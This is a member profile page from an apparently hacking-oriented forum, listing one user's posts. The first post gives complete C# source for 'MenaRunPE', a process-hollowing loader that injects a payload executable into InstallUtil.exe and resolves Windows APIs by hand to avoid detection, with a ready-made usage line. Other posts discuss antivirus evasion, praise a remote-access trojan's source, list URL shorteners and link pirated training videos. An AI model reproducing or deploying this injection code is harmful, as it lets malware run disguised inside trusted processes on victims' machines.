omc

Members
  • Content count

    70
  • Joined

  • Last visited

  • Days Won

    2

omc last won the day on April 6

omc had the most liked content!

Community Reputation

5 Neutral

About omc

  • Rank
    Member
  • Birthday 01/12/1962
  1. Not sure if this was modified from the original or not. MenaRunPE public static class MenaRunPE { public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)] public byte[] Misc; public byte lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } public struct PROCESS_BASIC_INFORMATION { public IntPtr ExitStatus; public IntPtr PebBaseAdress; public IntPtr AffinityMask; public IntPtr BasePriority; public IntPtr UniqueProcessID; public IntPtr InheritedFromUniqueProcessId; } public struct PROCESS_INFORMATION { public IntPtr ProcessHandle; public IntPtr ThreadHandle; public uint ProcessId; public uint ThreadId; } public static bool Run(string injectionpath, string cmd, byte[] payload, int creationflag, ref int reterrcode) { int cout = 1; while ((!HandleRun(injectionpath, cmd, payload, creationflag, ref reterrcode) ? 1 : 0) != 0) { ++cout; if (cout > 100) return false; } return true; } private static long smethod_7(IntPtr ProcessHandle, long BaseAdress) { byte[] array = new byte[4]; uint bytesread = 0u; NativeMethods.ReadProcessMemory(ProcessHandle, (IntPtr)(BaseAdress + 60L), array, 4, ref bytesread); NativeMethods.ReadProcessMemory(ProcessHandle, (IntPtr)(BaseAdress + (long)BitConverter.ToInt32(array, 0) + 40L), array, 4, ref bytesread); if (BitConverter.ToInt32(array, 0) == 0) { return 0L; } return BaseAdress + (long)BitConverter.ToInt32(array, 0); } private static bool smethod_6(ref byte[] byte_0, int int_1, int int_2) { int num = int_1 + (int)BitConverter.ToInt16(byte_0, int_1 + 20) + 24; int num2 = BitConverter.ToInt32(byte_0, num - 16); int destinationIndex = 0; if (num2 != 0) { int num4 = BitConverter.ToInt32(byte_0, num + 1 * 40 + 12); int num6 = BitConverter.ToInt32(byte_0, num + 1 * 40 + 12 + 4); int num7 = BitConverter.ToInt32(byte_0, num + 1 * 40 + 12 + 8); if (num2 > num4) { if (num2 < num4 + num6) { destinationIndex = num2 - num4 + num7 + 16; Array.Copy(BitConverter.GetBytes(int_2), 0, byte_0, destinationIndex, BitConverter.GetBytes(int_2).Length); return true; } } } return false; } private static int smethod_9(long long_0, long long_1, int int_1) { return (int)(long_0 - long_1 - (long)int_1); } private static bool smethod_8(long long_0, int int_1, long long_1, int int_2) { for (int index = 0; index <= int_1; ++index) { if (long_0 + (long)index == long_1) return true; } for (int index = 0; index <= int_2; ++index) { if (long_1 + (long)index == long_0) return true; } return false; } private static bool HandleRun(string Path, string Commands, byte[] payload, int createflag, ref int err) { PROCESS_INFORMATION PROCESS_INFORMATION = default(PROCESS_INFORMATION); try { string text = string.Format("\"{0}\"", Path); STARTUPINFO STARTUPINFO = default(STARTUPINFO); STARTUPINFO.cb = (uint)Marshal.SizeOf(typeof(STARTUPINFO)); if (string.IsNullOrEmpty(Commands)) { if (!NativeMethods.CreateProcess(Path, text, IntPtr.Zero, IntPtr.Zero, true, (uint)createflag, IntPtr.Zero, Directory.GetCurrentDirectory(), ref STARTUPINFO, ref PROCESS_INFORMATION)) { err = 1; throw new Exception(); } } else { text = text + " " + Commands; if (!NativeMethods.CreateProcess(Path, text, IntPtr.Zero, IntPtr.Zero, true, (uint)createflag, IntPtr.Zero, Directory.GetCurrentDirectory(), ref STARTUPINFO, ref PROCESS_INFORMATION)) { err = 2; throw new Exception(); } } UIntPtr uIntPtr = UIntPtr.Zero; PROCESS_BASIC_INFORMATION PROCESS_BASIC_INFORMATION = default(PROCESS_BASIC_INFORMATION); bool flag = false; bool flag2 = false; long num = smethod_5(PROCESS_INFORMATION.ProcessHandle, ref flag, ref flag2, ref PROCESS_BASIC_INFORMATION, ref uIntPtr); byte[] array = new byte[4]; byte[] array2 = new byte[8]; uint num2 = 0; if (flag) { if (!NativeMethods.ReadProcessMemory(PROCESS_INFORMATION.ProcessHandle, (IntPtr)(num + 16L), array2, (uint)array2.Length, ref num2)) { err = 3; throw new Exception(); } } else { if (!NativeMethods.ReadProcessMemory(PROCESS_INFORMATION.ProcessHandle, (IntPtr)(num + 8L), array, (uint)array.Length, ref num2)) { err = 4; throw new Exception(); } } long num3 = 0L; if (flag) num3 = smethod_7(PROCESS_INFORMATION.ProcessHandle, BitConverter.ToInt64(array2, 0)); else num3 = smethod_7(PROCESS_INFORMATION.ProcessHandle, (long)BitConverter.ToInt32(array, 0)); int num4 = BitConverter.ToInt32(payload, 60); bool flag3 = false; if (BitConverter.ToInt16(payload, num4 + 4) != 332) flag3 = true; smethod_6(ref payload, num4, 1); long num5 = 0L; if (flag3) num5 = BitConverter.ToInt64(payload, num4 + 48); else num5 = (long)BitConverter.ToInt32(payload, num4 + 52); byte[] array3 = new byte[4]; if (flag) { if (!NativeMethods.ReadProcessMemory(PROCESS_INFORMATION.ProcessHandle, (IntPtr)(BitConverter.ToInt64(array2, 0) + 60L), array3, (uint)array3.Length, ref num2)) { err = 5; throw new Exception(); } if (!NativeMethods.ReadProcessMemory(PROCESS_INFORMATION.ProcessHandle, (IntPtr)(BitConverter.ToInt64(array2, 0) + (long)BitConverter.ToInt32(array3, 0) + 80L), array3, (uint)array3.Length, ref num2)) { err = 7; throw new Exception(); } if (smethod_8(num5, BitConverter.ToInt32(payload, num4 + 80), BitConverter.ToInt64(array2, 0), BitConverter.ToInt32(array3, 0)) && (ulong)NativeMethods.NtUnmapViewOfSection(PROCESS_INFORMATION.ProcessHandle, (IntPtr)BitConverter.ToInt64(array2, 0)) != 0uL) { err = 10; throw new Exception(); } } else { if (!NativeMethods.ReadProcessMemory(PROCESS_INFORMATION.ProcessHandle, (IntPtr)(BitConverter.ToInt32(array, 0) + 60), array3, (uint)array3.Length, ref num2)) { err = 6; throw new Exception(); } if (!NativeMethods.ReadProcessMemory(PROCESS_INFORMATION.ProcessHandle, (IntPtr)(BitConverter.ToInt32(array, 0) + BitConverter.ToInt32(array3, 0) + 80), array3, (uint)array3.Length, ref num2)) { err = 8; throw new Exception(); } if (smethod_8(num5, BitConverter.ToInt32(payload, num4 + 80), (long)BitConverter.ToInt32(array, 0), BitConverter.ToInt32(array3, 0)) && (ulong)NativeMethods.NtUnmapViewOfSection(PROCESS_INFORMATION.ProcessHandle, (IntPtr)BitConverter.ToInt32(array, 0)) != 0uL) { err = 11; throw new Exception(); } } long num6 = (long)NativeMethods.VirtualAllocEx(PROCESS_INFORMATION.ProcessHandle, (IntPtr)num5, (uint)BitConverter.ToInt32(payload, num4 + 80), 12288u, 64u); if (num6 == 0L) { throw new Exception(); } if (!NativeMethods.WriteProcessMemory(PROCESS_INFORMATION.ProcessHandle, (IntPtr)num6, payload, (uint)BitConverter.ToInt32(payload, num4 + 84), ref num2)) { err = 12; throw new Exception(); } int num7 = num4 + (int)BitConverter.ToInt16(payload, num4 + 20) + 24; for (int i = 0; i <= (int)(BitConverter.ToInt16(payload, num4 + 6) - 1); i++) { if (BitConverter.ToInt32(payload, num7 + i * 40 + 16) != 0) { byte[] array4 = new byte[BitConverter.ToInt32(payload, num7 + i * 40 + 16) - 1 + 1]; Array.Copy(payload, BitConverter.ToInt32(payload, num7 + i * 40 + 20), array4, 0, array4.Length); if (!NativeMethods.WriteProcessMemory(PROCESS_INFORMATION.ProcessHandle, (IntPtr)(num6 + (long)BitConverter.ToInt32(payload, num7 + i * 40 + 12)), array4, (uint)array4.Length, ref num2)) { err = 13; throw new Exception(); } } } if (flag) { if (!NativeMethods.WriteProcessMemory(PROCESS_INFORMATION.ProcessHandle, (IntPtr)(num + 16L), BitConverter.GetBytes(num6), (uint)BitConverter.GetBytes(num6).Length, ref num2)) { err = 14; throw new Exception(); } } else { if (!NativeMethods.WriteProcessMemory(PROCESS_INFORMATION.ProcessHandle, (IntPtr)(num + 8L), BitConverter.GetBytes((int)num6), (uint)BitConverter.GetBytes((int)num6).Length, ref num2)) { err = 15; throw new Exception(); } } if (flag && num3 != 0L) { byte[] array5 = new byte[] { 233, 0, 0, 0, 0 }; long num9 = num6 + (long)BitConverter.ToInt32(payload, num4 + 40); if (num9 != 0L) { Array.Copy(BitConverter.GetBytes(smethod_9(num9, num3, array5.Length)), 0, array5, 1, BitConverter.GetBytes(num9).Length); } uint num10 = 0u; NativeMethods.VirtualProtectEx(PROCESS_INFORMATION.ProcessHandle, (IntPtr)num3, (uint)array5.Length, 64u, ref num10); if (!NativeMethods.WriteProcessMemory(PROCESS_INFORMATION.ProcessHandle, (IntPtr)num3, array5, (uint)array5.Length, ref num2)) { err = 16; throw new Exception(); } num2 = 64u; NativeMethods.VirtualProtectEx(PROCESS_INFORMATION.ProcessHandle, (IntPtr)num3, (uint)array5.Length, num10, ref num2); } else if (!flag && num3 != 0L) { byte[] array6 = new byte[] { 233, 0, 0, 0, 0 }; int num11 = (int)(num6 + (long)BitConverter.ToInt32(payload, num4 + 40)); if (num11 != 0) { Array.Copy(BitConverter.GetBytes(smethod_9((long)num11, num3, array6.Length)), 0, array6, 1, BitConverter.GetBytes(num11).Length); } uint num12 = 0u; NativeMethods.VirtualProtectEx(PROCESS_INFORMATION.ProcessHandle, (IntPtr)num3, (uint)array6.Length, 64u, ref num12); if (!NativeMethods.WriteProcessMemory(PROCESS_INFORMATION.ProcessHandle, (IntPtr)((int)num3), array6, (uint)array6.Length, ref num2)) { err = 17; throw new Exception(); } num2 = 64u; NativeMethods.VirtualProtectEx(PROCESS_INFORMATION.ProcessHandle, (IntPtr)num3, (uint)array6.Length, num12, ref num2); } num2 = 0u; NativeMethods.VirtualProtectEx(PROCESS_INFORMATION.ProcessHandle, (IntPtr)num6, (uint)BitConverter.ToInt32(payload, num4 + 80), 32u, ref num2); IntPtr baseAddress = IntPtr.Zero; if (!NativeMethods.FlushInstructionCache(PROCESS_INFORMATION.ProcessHandle, baseAddress, 0u)) { err = 18; throw new Exception(); } NativeMethods.ResumeThread(PROCESS_INFORMATION.ThreadHandle); if (Process.GetProcessById((int)PROCESS_INFORMATION.ProcessId) == null) { return false; } } catch { Process processById = Process.GetProcessById((int)PROCESS_INFORMATION.ProcessId); try { if (processById != null) { processById.Kill(); } return false; } catch { } } return true; } private static long smethod_5(IntPtr intptr_0, ref bool bool_1, ref bool bool_2, ref PROCESS_BASIC_INFORMATION struct3_0, ref UIntPtr uintptr_0) { if (IntPtr.Size == 4) bool_2 = false; else NativeMethods.IsWow64Process(intptr_0, ref bool_2); UIntPtr uIntPtr = UIntPtr.Zero; if (bool_2) { if ((ulong)NativeMethods.NtQueryInformationProcess2(intptr_0, 26u, ref uintptr_0, (uint)Marshal.SizeOf(uintptr_0), ref uIntPtr) != 0uL) { throw new Exception(); } bool_1 = false; return (long)((uint)uintptr_0); } if ((ulong)NativeMethods.NtQueryInformationProcess(intptr_0, 0u, ref struct3_0, (uint)Marshal.SizeOf(struct3_0), ref uIntPtr) != 0uL) { throw new Exception(); } if (IntPtr.Size == 8) { bool_1 = true; return (long)struct3_0.PebBaseAdress; } bool_1 = false; return (long)((int)struct3_0.PebBaseAdress); } } NativeMethods public static class NativeMethods { public delegate uint ResumeThreadParametrs(IntPtr hThread); public static readonly ResumeThreadParametrs ResumeThread = CreateApi<ResumeThreadParametrs>("kernel32", "ResumeThread"); public delegate bool FlushInstructionCacheParameters(IntPtr hProcess, IntPtr BaseAddress, uint dwSize); public static readonly FlushInstructionCacheParameters FlushInstructionCache = CreateApi<FlushInstructionCacheParameters>("kernel32", "FlushInstructionCache"); public delegate bool VirtualProtectExParameters(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, ref uint lpflOldProtect); public static readonly VirtualProtectExParameters VirtualProtectEx = CreateApi<VirtualProtectExParameters>("kernel32", "VirtualProtectEx"); public delegate uint NtQueryInformationProcessParameters(IntPtr hProcess, uint ProcessInformationClass, ref MenaRunPE.PROCESS_BASIC_INFORMATION ProcessInformation, uint ProcessInformationLength, ref UIntPtr ReturnLength); public delegate uint NtQueryInformationProcessParameters2(IntPtr hProcess, uint ProcessInformationClass, ref UIntPtr ProcessInformation, uint ProcessInformationLength, ref UIntPtr ReturnLength); public delegate bool ReadProcessMemoryParametrs(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, uint nSize, ref uint lpNumberOfBytesRead); public static readonly ReadProcessMemoryParametrs ReadProcessMemory = CreateApi<ReadProcessMemoryParametrs>("kernel32", "ReadProcessMemory"); public delegate bool WriteProcessMemoryParametrs(IntPtr hProcess, IntPtr lpBaseAddress, [In] byte[] lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten); public static readonly WriteProcessMemoryParametrs WriteProcessMemory = CreateApi<WriteProcessMemoryParametrs>("kernel32", "WriteProcessMemory"); public delegate uint NtUnmapViewOfSectionParametrs(IntPtr hProcess, IntPtr pBaseAddress); public static readonly NtUnmapViewOfSectionParametrs NtUnmapViewOfSection = CreateApi<NtUnmapViewOfSectionParametrs>("ntdll", "NtUnmapViewOfSection"); public delegate IntPtr VirtualAllocExParametrs(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); public static readonly VirtualAllocExParametrs VirtualAllocEx = CreateApi<VirtualAllocExParametrs>("kernel32", "VirtualAllocEx"); public delegate bool IsWow64ProcessParameters(IntPtr hProcess, ref bool Wow64Process); public readonly static IsWow64ProcessParameters IsWow64Process = CreateApi<IsWow64ProcessParameters>("kernel32", "IsWow64Process"); public delegate bool CreateProcessParametrs(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref MenaRunPE.STARTUPINFO startupInfo, ref MenaRunPE.PROCESS_INFORMATION processInformation); public static readonly CreateProcessParametrs CreateProcess = CreateApi<CreateProcessParametrs>("kernel32", "CreateProcessA"); public static readonly NtQueryInformationProcessParameters2 NtQueryInformationProcess2 = CreateApi<NtQueryInformationProcessParameters2>("ntdll", "NtQueryInformationProcess"); public static readonly NtQueryInformationProcessParameters NtQueryInformationProcess = CreateApi<NtQueryInformationProcessParameters>("ntdll", "NtQueryInformationProcess"); public delegate IntPtr LoadLibraryParametrs(string name); public static readonly LoadLibraryParametrs LoadLibrary = CreateApi<LoadLibraryParametrs>("kernel32", "LoadLibraryA"); public static T CreateApi<T>(string name, string method) { return Conversions.ToGenericParameter<T>((object)Marshal.GetDelegateForFunctionPointer((IntPtr)GetProcAddress((Int64)GetInternalModuleBaseAddr(name), method), typeof(T))); } public static IntPtr GetInternalModuleBaseAddr(string name) { if (!name.Contains(".dll")) { name += ".dll"; } IntPtr ModuleBaseAddress = IntPtr.Zero; foreach (ProcessModule ProcModule in Process.GetCurrentProcess().Modules) { if (ProcModule.ModuleName.ToLower() == name) { return ProcModule.BaseAddress; } } return LoadLibrary(name); } public static byte[] ReadByteArray(IntPtr adress, int size) { byte[] ReturnArray = new byte[size]; System.Runtime.InteropServices.Marshal.Copy(adress, ReturnArray, 0, size); return ReturnArray; } public static Int64 GetProcAddress(Int64 ModuleAddress, string Export) { byte[] IExportDir = new byte[0]; if (IntPtr.Size == 4) IExportDir = ReadByteArray((IntPtr)(ModuleAddress + (Int64)Marshal.ReadInt32((IntPtr)(ModuleAddress + (Int64)Marshal.ReadInt32((IntPtr)(ModuleAddress + 60L)) + 120L)) + 24L), 16); if (IntPtr.Size == 8) IExportDir = ReadByteArray((IntPtr)(ModuleAddress + (Int64)Marshal.ReadInt32((IntPtr)(ModuleAddress + (Int64)Marshal.ReadInt32((IntPtr)(ModuleAddress + 60L)) + 136L)) + 24L), 16); for (int i = 0; i < BitConverter.ToInt32(IExportDir, 0); i++) { int tpAddress = Marshal.ReadInt32((IntPtr)((Int64)BitConverter.ToInt32(IExportDir, 8) + ModuleAddress + (Int64)(i * 4))); string ApiString = Encoding.ASCII.GetString(ReadByteArray((IntPtr)(ModuleAddress + (Int64)tpAddress), 64)).Split(char.MinValue)[0]; int Ord = (int)BitConverter.ToInt16(ReadByteArray((IntPtr)((Int64)BitConverter.ToInt32(IExportDir, 12) + ModuleAddress + (Int64)(i * 2)), 2), 0); if (ApiString == Export) { return (Int64)BitConverter.ToInt32(ReadByteArray((IntPtr)((Int64)BitConverter.ToInt32(IExportDir, 4) + ModuleAddress + (long)(Ord * 4)), 4), 0) + ModuleAddress; } } return 0L; } } Use: int num = 0; MenaRunPE.Run(Path.Combine(System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory(), "InstallUtil.exe"), "", File.ReadAllBytes(@"C:\payload.exe"), 4, ref num); https://www.youtube.com/watch?v=k2pLF56gXXw
  2. More thoughts. The Crew concept. We are not seeing the crews out there any more. You need those crews. The trust factor. When the scene went big some time ago, many newbies didn't advance their skills much. So that built a big trust problem. The fun needs to come back.
  3. That's a part of it. But I think there are many reasons. I can list a few. 1. We are victims of our own success. The success shifted the focus from ability, to antivirus avoidance. 2. The shift from a challenge to be meet, to making money. 3. The rise of smart phones and tablets. 4. The decline of the internet forum across the internet. Replaced by SM. 5. Legal ramifications. 6. Multiple OS now being used. So I agree a new era isn't here yet.
  4. What language(s)?
  5. Protocol and other founding members. This is your daddy checking in to say hello.
  6. I agree. To answer the OP question, no they will never be 100%. But they have already won as stated above. There is a threshold you can't get past. You can always win on a small scale, but never more. Meta-morph is a dream that cant happen in code.
  7. Wow..this use to be one of my fav rats back in the day. Nice source code!!
  8. Nice mate, look forward to updates on this
  9. im getting bad password: hacksecu.com why is it even protected.
  10. it's just a list, didn't recommend using at ic0de
  11. BTW if you copy / paste them in browser and they don't work try to put them in Google! http://goo.gl http://vovi.vn aafter.com. # bit.ly # cli.gs # pic.gd tweetphoto # DwarfURL.com # ow.ly # yfrog.com # migre.me # ff.im # url4.eu # tr.im # twit.ac # su.pr # twurl.nl # ************************ # BudURL.com # short.to # ping.fm # Digg.com # post.ly # Just.as # .tk # bkite.com # snipr.com # flic.kr # loopt.us # doiop.com # twitthis.com # htxt.it # AltURL.com # RedirX.com # DigBig.com # short.ie # u.mavrev.com # kl.am # wp.me # u.nu # rubyurl.com # om.ly # linkbee.com # Yep.it # posted.at # xrl.us # metamark.net # sn.im # hurl.ws # eepurl.com # idek.net # urlpire.com # chilp.it # moourl.com # snurl.com # ************** # lin.cr # EasyURI.com # zz.gd # ur1.ca # URL.ie # adjix.com # twurl.cc # s7y.us shrinkify # EasyURL.net # atu.ca # sp2.ro # Profile.to # ub0.cc # minurl.fr # cort.as # fire.to # 2tu.us # twiturl.de # to.ly # BurnURL.com # nn.nf # clck.ru # notlong.com # thrdl.es # spedr.com # vl.am # miniurl.com # virl.com # PiURL.com # 1url.com # gri.ms # tr.my # Sharein.com # urlzen.com # fon.gs # Shrinkify.com # ri.ms # b23.ru # Fly2.ws # xrl.in # Fhurl.com # wipi.es # korta.nu # shortna.me # fa.b # WapURL.co.uk # urlcut.com # 6url.com # abbrr.com # SimURL.com # klck.me # x.se # 2big.at # url.co.uk # ewerl.com # inreply.to # TightURL.com # a.gg # tinytw.it # zi.pe # riz.gd # hex.io # fwd4.me # bacn.me # shrt.st # ln-s.ru # tiny.pl # o-x.fr # StartURL.com # jijr.com # shorl.com # icanhaz.com # updating.me # kissa.be # hellotxt.com # pnt.me # nsfw.in # xurl.jp # yweb.com # urlkiss.com # QLNK.net # w3t.org # lt.tl # twirl.at # zipmyurl.com # urlot.com # a.nf # hurl.me # URLHawk.com # Tnij.org # 4url.cc # firsturl.de # Hurl.it # sturly.com # shrinkster.com # ln-s.net # go2cut.com # liip.to # shw.me # XeeURL.com # liltext.com # lnk.gd # xzb.cc # linkbun.ch # href.in # urlbrief.com # 2ya.com # safe.mn # shrunkin.com # bloat.me # krunchd.com # minilien.com # ShortLinks.co.uk # qicute.com # rb6.me # urlx.ie # pd.am # go2.me # tinyarro.ws # tinyvid.io # lurl.no # ru.ly # lru.jp # rickroll.it # togoto.us # ClickMeter.com # hugeurl.com # tinyuri.ca # shrten.com # shorturl.com # Quip-Art.com # urlao.com # a2a.me # tcrn.ch # goshrink.com # DecentURL.com # decenturl.com # zi.ma # 1link.in # sharetabs.com # shoturl.us # fff.to # hover.com # lnk.in # jmp2.net # dy.fi # urlcover.com # 2pl.us # tweetburner.com # u6e.de # xaddr.com # gl.am # dfl8.me # go.9nl.com # gurl.es # C-O.IN # TraceURL.com # liurl.cn # MyURL.in # urlenco.de # ne1.net # buk.me # rsmonkey.com # cuturl.com # turo.us # sqrl.it # iterasi.net # tiny123.com # EsyURL.com # urlx.org # IsCool.net # twitterpan.com # GoWat.ch # poprl.com # njx.me
  12. Java is a simple, scalable object oriented, general purpose programming language with a multitude of uses. With the power to develop everything from simple web animations to high-end business applications that program hand-held devices, microwaves, cross platform server applications and more, it's no wonder why Java is on everyone's mind. This practical "how to" course by Java expert Arthur Griffith, starts from the beginning and uses practical examples to demonstrate the Java programming language. The source code is also provided for every example, so the user can follow right along. 01 Introduction 0101 Course Introduction 0102 What is Java? 0103 What You Will Need 0104 A Few Important Words 0105 The Command Line Installation 0106 Course Overview 02 Two Programs Named Howdy 0201 The Source Code of Howdy 0202 Compiling and Running Howdy 0203 The Source Code of a Howdy Window 0204 Compiling and Running Howdy Window 0205 Adding Exits to Howdy Window 03 Drawing Text in a Window 0301 Font Anatomy 0302 Positioning Text Version pt. 1 0303 Positioning Text Version pt. 2 0304 Positioning Text Version pt. 3 0305 Garbage Collection 0306 Selecting Fonts 0307 Selecting Colors 04 A Few Language Fundamentals 0401 The Arithmetic Data Types 0402 More Fundamental Data Types 0403 Operators 0404 The String Class 0405 Arrays 0406 If and Conditionals 0407 Looping 0408 Listing Fonts 05 Classes/Data/Access 0501 Methods/Arguments/Returns 0502 Fundamental Inheritance 0503 The Sun Documentation 0504 The Creation of an Object 0505 More About Constructors 0506 Access 06 Drawing and Painting 0601 Drawing Rectangles 0602 Filling Rectangles 0603 Drawing and Filling Circles 0604 The Rounded Rectangle 0605 Drawing and Filling Arcs 0606 Inventing a Shape of Your Own 0607 Rectangle with a Beveled Edge 0608 Simple Color Shading 0609 Checkerboard and Shading Problems 0610 Checkerboard and Shading Solutions 07 Graphic Files 0701 Loading a Graphic File from Disk 0702 Displaying a Graphic Image 0703 Loading a Graphic File from the Internet 0704 Scaling Images 0705 Drawing in Memory 0706 Picture Checkerboard Problem 0707 Picture Checkerboard Solution 08 Simple Animation 0801 Threads 0802 A Simple Thread Example 0803 A Simple Animation 0804 Overcoming the Flicker Problem 0805 Pong Program One 0806 Pong Program Two 0807 The Switch and Case Statement 0808 The Doomed Vessel 09 Introduction to Applets 0901 Applet Fundmentals 0902 The Constructor and Init 0903 An Applet is a Creature of the Internet 0904 Creating a Production Applet 0905 Animated Applet Structure 0906 One Bouncing Ball 0907 Random 0908 One Hundred Bouncing Balls 0909 The Autumn Leaves Applet 10 Responding to the Mouse 1001 Java Interfaces 1002 A Simple Mouse Clicker 1003 Moving an Object in a Window 1004 Dragging an Object in a Window 1005 Dragging a Returning Object in a Window 11 Components 1101 Components and the AWT 1102 Placing Buttons in Panel 1103 Listening to Buttons in a Panel 1104 Poking Text into a Label 1105 A Choice is for Making a Selection 1106 A List is for Making a Selections 1107 A Text Field is for Typing 1108 Toggles Turn On and Off 12 Placing Components in a Window 1201 Containers and Layout Managers 1202 The Border Layout Manager 1203 The Grid Layout Manager 1204 The GridBag Layout Manager pt. 1 1205 The GridBag Layout Manager pt. 2 1206 The Card Layout Manager 1207 The XY Layout Manager 13 Dialogs and Menus 1301 A Non-Modal Dialog 1302 A Modal Dialog 1303 A Messaging Dialog 1304 A Menu on a Frame 14 Wrap Up 1401 Command Line Options for Javac 1402 Command Line Options for Java 99 + 28 Mb: http://rapidshare.com/files/25491656/JavaIntro.part1.rar [url]http://rapidshare.com/files/25534013/JavaIntro.part2.rar[/url]
  13. What the series will cover: * Basic C++ * OOP * Loops * Methods/Functions * Decision statements * Output * Input * Includes * Inheritance * Encapsulation * Polymorphism * Classes * Objects * Pointers * And finally, windows programming Topics in this tutorial: * Functions * Variables * Constants * Math operations * Operator Precedence http://rapidshare.com/files/182981880/booktraining.net_csvidtut1.wmv [url]http://rapidshare.com/files/182981901/booktraining.net_cppvidtut2.wmv"[/url] [url]http://rapidshare.com/files/182981985/booktraining.net_security1.swf[/url] [url]http://rapidshare.com/files/182981994/booktraining.net_photoshop1.wmv[/url] [url]http://rapidshare.com/files/182981845/booktraining.net_cppvidtut1.wmv[/url] [url]http://rapidshare.com/files/182981775/booktraining.net_text_20styles_20tutorials.zip[/url]
  14. /* Coded By unary */ #include<stdio.h> #include<stdlib.h> main(int argc,char *argv[]){ system(”clear”); FILE *src; FILE *des; char ch; if(argc!=2){ printf(”**********************************\n”); printf(”* This programm help you to copy *\n”); printf(”* Your Bookmark of FireFox *\n”); printf(”* UsaGe : ./program name.html *\n”); printf(”**********************************\n”); exit(1); } src=fopen(”/home/unary/.mozilla/firefox/fsh5×27h.default/bookmarks.html”,”r”); if(src == NULL){ printf(”Error Openning File \n Exiting … \n”); exit(1); } else{ des=fopen(argv[1],”w”); while((ch=fgetc(src))!=EOF){ fprintf(des,”%c”,ch); } } printf(”Bookmark copy completed successfully\n”); fclose(src); fclose(des); return 0; }
  15. A Windows Service is a process that runs unattended and doesn't have a user interface. Windows Services can run on WinNT, Win2K, Windows Server 2003, and WinXP. Services can start when the operating system boots and other applications can interact with them. Services can perform functions such as logging, auditing, database connection pooling, etc. This sample creates a service that logs events to a file. Events originate in a sample application that simulates when gates in a security fence open or close. The .NET solution contains two projects: the WindowsService project which implements the service and the driver project that utilizes it. You can walk through the code which is straightforward. Here, I'll mention a few important details. To create a Windows Service project, select the Windows Service template in the VS.NET IDE. I named the project AppMonitor. Open AppMonitor.VB in Designer view and look at its properties. You can set properties telling Windows that the service will handle shutdown, pause, continue, and other events. The AutoLog property tells the service to automatically write to the Event Log when the it starts and stops. Viewing the code, you see the AppMonitor class inherits from the System.ServiceProcess.ServiceBase namespace. Also there is an handler for the various service events (OnStart, OnStop, OnPause...). These handlers override those in the System.ServiceProcess.ServiceBase class and allow the service to execute the desired logic when it starts, stops, etc. The OnStart procedure takes a string array parameter. You pass values into OnStart using the Services MMC snap-in in Control Panel. The OnCustomCommand event allows an application to interact with a running service by passing in integer values. Code in OnCustomCommand must interogate the value and execute the corresponding logic. Integer values must be in the range 128 to 255. Interaction with a service is primitive and one way, OnCustomCommand cannot return a value. Also, your service has hard coded ties to the application(s) that use it. The driver application let's you start and stop the service. If has a reference to the System.ServiceProcess.dll and creates an instance of a ServiceController which is used to control a service. To start or stop a service you call the ServiceController's start or stop method then wait for the service's status to change using the controller's WaitForStatus method. Once the service has started you send integer commands to it using the ServiceController's ExecuteCommand method. Before you can run the code you must compile it and install the service. Build the .NET solution then open the AppMonitor.VB in Designer view. Go to properties and click the Add Installer link. This adds a ProjectInstaller.VB class which updates the Windows Registry with your service. To install the service you must run the InstallUtil component described below. Instructions Download the source code and compile it. Open a Visual Studio .NET 2003 Command Prompt and navigate to \bin folder containing the compiled .EXE. Install the service by typing InstallUtil AppMonitor.Exe into the command prompt and hitting Enter (you may need to specify the complete path to InstallUtil which is in the .NET Framework folder). Look at the log files create in the \bin folder. Run the driver sample and step through the code. Examine the monitor.txt log file created in the root folder. Notes This code will not run under version 1.0 of the .Net framework. You must use the InstallUtil program from V1.1 of the Framework. To uninstall the service, use the InstallUtil /u AppMonitor.exe command.
  • Who's Online   0 Members, 0 Anonymous, 45 Guests (See full list)

    There are no registered users currently online